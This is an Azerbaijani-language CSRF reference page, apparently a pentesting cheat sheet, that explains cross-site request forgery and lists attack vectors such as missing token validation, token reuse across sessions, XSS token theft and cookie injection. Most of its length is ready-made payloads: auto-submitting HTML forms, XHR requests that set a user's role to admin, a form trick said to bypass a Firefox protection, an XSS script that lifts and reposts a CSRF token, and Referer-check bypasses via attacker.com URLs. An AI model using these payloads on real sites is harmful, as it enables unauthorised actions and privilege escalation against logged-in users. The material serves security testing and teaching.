CSRF

Cross-site request forgery (CSRF)

Bu bölmədə saytlararası sorğu saxtakarlığının nə olduğunu izah edəcəyik, ümumi CSRF zəifliklərinə dair bəzi nümunələrə baxacayıq və CSRF hücumlarının qarşısının alınmasını izah edəcəyik.

CSRF nədir?

CSRF, Cross-Site Request Forgery (Sayt Arası Sorğu Sahtekarlığı) deməkdir. Ən izahı, bu təhlükəsizlik açığı, istifadəçinin brauzerini aldadaraq, istifadəçinin autentifikasiya olduğu başqa veb sayta göndərdiyi sorğular zaman yaranan problemdir. Bu, istifadəçinin razılığı olmadan öz adı ilə icazəsiz əməliyyatlara səbəb ola bilər və məlumatlarının əldə edilməsinə nail ola bilər.

Təsəvvür edin ki, siz bank vebsaytınıza daxil olmusunuz və eyni zamanda zərərli vebsayta daxil olursunuz. Əgər həmin zərərli sayt brauzerinizi aldadaraq bank saytınıza sorğu göndərə bilərsə (siz artıq daxil olduğunuz üçün), siz fərqinə varmadan hesabınızdan pul çəkilə bilər. Bu CSRF hücumudur.

CSRF-nin qarşısını almaq üçün veb saytlar sorğuların doğru olmasını və doğru istifadəçidən gəlməsini təmin etmək üçün tez-tez tokenlərdən və ya digər mexanizmlərdən istifadə edirlər. Bu təhlükəsizlik tədbirləri istifadəçiləri zərərli veb-saytlar tərəfindən törədilən icazəsiz hərəkətlərdən qorumağa kömək edir.

Hücum vektorları

  1. Təxmin oluna bilən tokenlər

Tətbiq tərəfindən yaradılan tokenlərin asanlıqla təxmin edilə bilmədiyini və ya dəyişdirilməsinin mümkün olmadığını yoxlayın.

  1. Anti-CSRF Token yoxlanışının olmaması

Həm POST, həm də GET sorğuları zamanı Anti-CSRF token dəyərinin təsdiq edilib-edilmədiyini yoxlayın. Anti-CSRF nişanının NULL, Yox, 0, [] kimi dəyərlərinin yoxlamadan keçə biləcəyini yoxlayın. Tokenin tələb olunduğunu yoxlayın (yoxlama tokenin mövcudluğundan asılıdır).

  1. Token yalnız Kuki kimi istifadə olunur

Kuki başqa domendən edilən sorğuya əlavə olunacaq (SameSite bayrağı yoxdursa). Bu dəyər başlıq və ya sorğu parametrlərindən biri kimi təkrarlanmırsa, etibarlı müdafiə deyil.

  1. Token, istifadəçi sessiyasına bağlı deyil

Başqa seansdan etibarlı token istifadə etməyin mümkün olub-olmadığını yoxlayın.

  1. XSS

XSS ilə CSRF tokenini çıxarmaq və ondan istifadə etmək mümkündür. Məsələn:

function XHR_XSS() {
	var xhr = new XMLHttpRequest(); 
	xhr.onreadystatechange = function() {
		if (xhr.readyState == 4) {
			var src = xhr.responseText;
			parser = new DOMParser().parseFromString(src, "text/html");
            var token = parser.getElementsByName('CSRFToken')[0].value;
            
			var token_xhr = new XMLHttpRequest();
			token_xhr.open("POST", '[URL to post form]', true);
			token_xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); 
			var data = "somedata=data&token=" + token;
			token_xhr.send(data);
		}
	}
	xhr.open("GET", '[URL to token extraction]', true); 
	xhr.send();
}
  1. Brute Force

Həmişə token entropiyasını ən azı 1000-10000 cəhdlə yoxlayın. Tokenlərin yaradılmasında bəzi nümunələr varsa və ya onlar özlərini təkrarlayırlarsa, brute force hücumunu tətbiq etmək olar.

  1. Həssas subdomen

XSS-ə həssas olan subdomain ələ keçirmə və ya cookie inyeksiyasına qarşı həssas olan subdomainə malik olan təcavüzkar aşağıdakıları bypass edə bilər:

CSRF-token qorunması

Cookie qorunmasını iki dəfə təqdim edin

Content-type based qorunma

  1. Cookie inyeksiyası

Brauzer səhvlərinin CRLF inyeksiyası halında, cookie inyeksiyası vasitəsilə ikiqat submit edilən cookie qorunmasını bypass eləmək mümkündür.

Payload-lar

Müəyyən bir sayta daxil olduqda, adətən bir sessiyanız olur. Həmin sessiyanın məlumatları brauzerinizdə cookie-də saxlanılır və sorğu ilə həmin sayta göndərilir. Hətta hansısa başqa sayt sorğuya səbəb olsa belə, cookie sorğu ilə birlikdə göndərilir və sorğu, sanki daxil olmuş istifadəçi bunu yerinə yetirmiş kimi hesab olunur.

HTML GET - İstifadəçinin qarşılıqlı əlaqəsini tələb edir

<a href="http://www.example.com/api/setusername?username=CSRFd">Click Me</a>

HTML GET - İstifadəçinin qarşılıqlı əlaqəsini tələb etmir

<img src="http://www.example.com/api/setusername?username=CSRFd">

HTML POST - İstifadəçinin qarşılıqlı əlaqəsini tələb edir

<form action="http://www.example.com/api/setusername" enctype="text/plain" method="POST">
 <input name="username" type="hidden" value="CSRFd" />
 <input type="submit" value="Submit Request" />
</form>

HTML POST - AutoSubmit - İstifadəçinin qarşılıqlı əlaqəsini tələb etmir

<form id="autosubmit" action="http://www.example.com/api/setusername" enctype="text/plain" method="POST">
 <input name="username" type="hidden" value="CSRFd" />
 <input type="submit" value="Submit Request" />
</form>
 
<script>
 document.getElementById("autosubmit").submit();
</script>

HTML POST - file upload ilə multipart/form-data - İstifadəçinin qarşılıqlı əlaqəsini tələb edir

<script>
function launch(){
    const dT = new DataTransfer();
    const file = new File( [ "CSRF-filecontent" ], "CSRF-filename" );
    dT.items.add( file );
    document.xss[0].files = dT.files;

    document.xss.submit()
}
</script>

<form style="display: none" name="xss" method="post" action="<target>" enctype="multipart/form-data">
<input id="file" type="file" name="file"/>
<input type="submit" name="" value="" size="0" />
</form>
<button value="button" onclick="launch()">Submit Request</button>

JSON GET - Sadə sorğu

<script>
var xhr = new XMLHttpRequest();
xhr.open("GET", "http://www.example.com/api/currentuser");
xhr.send();
</script>

JSON POST - Sadə sorğu

XHR ilə:

<script>
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://www.example.com/api/setrole");
//application/json is not allowed in a simple request. text/plain is the default
xhr.setRequestHeader("Content-Type", "text/plain");
//You will probably want to also try one or both of these
//xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
//xhr.setRequestHeader("Content-Type", "multipart/form-data");
xhr.send('{"role":admin}');
</script>

Firefox brauzerində Enhanced Tracking Protection-in Standart seçimi kimi müəyyən brauzer qorumalarını bypass edən avtomatik göndərmə forması ilə :

<form id="CSRF_POC" action="www.example.com/api/setrole" enctype="text/plain" method="POST">
// this input will send : {"role":admin,"other":"="}
 <input type="hidden" name='{"role":admin, "other":"'  value='"}' />
</form>
<script>
 document.getElementById("CSRF_POC").submit();
</script>

JSON POST - Mürəkkəb sorğu

<script>
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://www.example.com/api/setrole");
xhr.withCredentials = true;
xhr.setRequestHeader("Content-Type", "application/json;charset=UTF-8");
xhr.send('{"role":admin}');
</script>

Referer başlığı bypass edin

Basic payload

1) Open https://attacker.com/csrf.html
2) Referer header is ..

Referer: https://attacker.com/csrf.html

Question mark(?) payloadı ilə

1) Open https://attacker.com/csrf.html?trusted.domain.com
2) Referer header is ..

Referer: https://attacker.com/csrf.html?trusted.domain.com

Semicolon(;) payloadı ilə

1) Open https://attacker.com/csrf.html;trusted.domain.com
2) Referer header is ..

Referer: https://attacker.com/csrf.html;trusted.domain.com

Subdomain payloadı ilə

1) Open https://trusted.domain.com.attacker.com/csrf.html
2) Referer headers is ..

Referer: https://trusted.domain.com.attacker.com/csrf.html

Last updated